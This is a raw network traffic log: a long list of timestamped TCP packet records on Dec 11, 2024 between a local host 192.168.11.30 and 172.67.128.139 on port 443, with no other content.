Dec 11, 2024 12:30:44.320467949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.320472002 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.321167946 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.321178913 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.321340084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.321345091 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.321388006 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.321388006 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.321583033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.321583033 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.322673082 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.322681904 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.323023081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.323023081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.323023081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.323023081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.323023081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.323038101 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.323790073 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.323801041 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.324006081 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.324012995 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.324198961 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.324697971 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.324707985 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.324856997 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.324856997 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.324862003 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.325050116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.325051069 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.325051069 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.325051069 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.326221943 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.326231956 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.326406956 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.326587915 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.326587915 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.326594114 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.327270985 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.327281952 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.327445984 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.327451944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.327661037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.327661037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.327661037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.328210115 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.328218937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.328596115 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.328596115 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.328599930 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.329339981 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.329350948 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.329524994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.329530954 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.329716921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.329716921 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.330452919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.330461979 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.330641031 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.330646992 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.330832005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.330832005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.330832005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.331024885 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.331316948 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.331326008 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.331495047 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.331495047 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.331495047 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.331677914 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.331677914 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.331677914 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.331682920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.332912922 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.332923889 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.333266020 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.333266020 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.333266020 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.333266020 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.333275080 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.333720922 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.333729029 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.334072113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.334072113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.334072113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.334072113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.334072113 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.334079981 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.334937096 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.334948063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.335315943 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.335315943 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.335321903 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.335508108 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.335825920 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.335834980 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.336178064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.336178064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.336178064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.336184025 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.337498903 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.337512016 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.337685108 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.337691069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.337877989 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.337878942 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.338639975 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.338649035 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.338825941 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.338835001 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.339015007 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.339015007 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.339015007 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.339015007 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.339257002 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.339267969 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.339607954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.339607954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.339607954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.339607954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.339607954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.339616060 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.385082006 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.520320892 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.520329952 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.520498037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.520657063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.520657063 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.520662069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.520848989 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.521341085 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.521348000 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.521518946 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.521717072 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.521717072 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.521724939 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.521913052 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.522485971 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.522492886 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.522674084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.522674084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.522682905 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.522878885 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.522878885 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.522878885 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.523381948 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.523391008 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.523495913 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.523725986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.523725986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.523731947 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.524106026 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.524419069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.524426937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.524624109 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.524626970 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.524807930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.524807930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.525485992 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.525492907 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.525687933 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.525871038 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.525871038 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.525878906 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.526060104 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.527107000 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.527138948 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.527549982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.527549982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.527549982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.527549982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.527558088 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.527725935 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.527725935 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.527997971 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.528004885 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.528201103 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.528201103 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.528201103 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.528208017 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.528436899 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.528886080 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.528892994 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.529093981 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.529097080 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.529273987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.529273987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.529273987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.530004978 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.530035973 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.530162096 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.530394077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.530400991 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.530610085 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.531608105 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.531615973 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.531856060 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.532037020 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.532037020 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.532037020 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.532042980 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.532087088 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.532327890 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.532753944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.532762051 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.532912970 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.533096075 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.533098936 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.533288002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.533642054 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.533665895 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.533848047 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.534025908 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.534029961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.534276009 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.534548998 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.534575939 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.534761906 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.534769058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.534943104 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.535110950 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.536082983 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.536089897 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.536375999 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.536556005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.536560059 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.536736012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.537228107 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.537236929 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.537589073 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.537589073 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.537596941 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.537806988 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.538127899 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.538136005 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.538394928 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.538575888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.538575888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.538575888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.538575888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.538583040 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.538865089 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.538980961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.538989067 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.539138079 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.539138079 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.539319038 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.539319038 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.539323092 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.539513111 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.540667057 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.540674925 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.540822983 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.541002989 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.541002989 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.541002989 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.541007996 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.541194916 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.541194916 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.541785002 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.541793108 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.542038918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.542223930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.542223930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.542223930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.542254925 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.542511940 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.542628050 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.542635918 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.542809010 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.542809010 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.542963982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.542968035 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.543154001 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.543154001 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.543720007 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.543728113 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.543893099 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.543893099 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.543900967 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.543941975 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.544126034 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.544126034 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.545458078 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.545465946 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.545622110 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.545622110 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.545625925 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.545800924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.545800924 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.545802116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.546257019 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.546263933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.546447992 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.546447992 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.546595097 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.546595097 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.546598911 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.546787024 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.546859026 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.547346115 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.547353983 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.547506094 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.547688961 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.547688961 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.547692060 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.547880888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.547880888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.548405886 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.548413992 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.548636913 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.548816919 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.548816919 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.548823118 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.548866034 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.549108028 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.549108028 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.549356937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.549365044 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.549693108 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.549693108 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.549700022 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.550077915 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.550287008 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.550295115 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.550446987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.550446987 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.550626040 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.550626040 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.550626040 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.550632000 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.550818920 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.551986933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.551995039 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.552251101 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.552432060 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.552432060 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.552438021 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:44.552675009 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:44.552711964 CET	443	49763	172.67.128.139	192.168.11.30
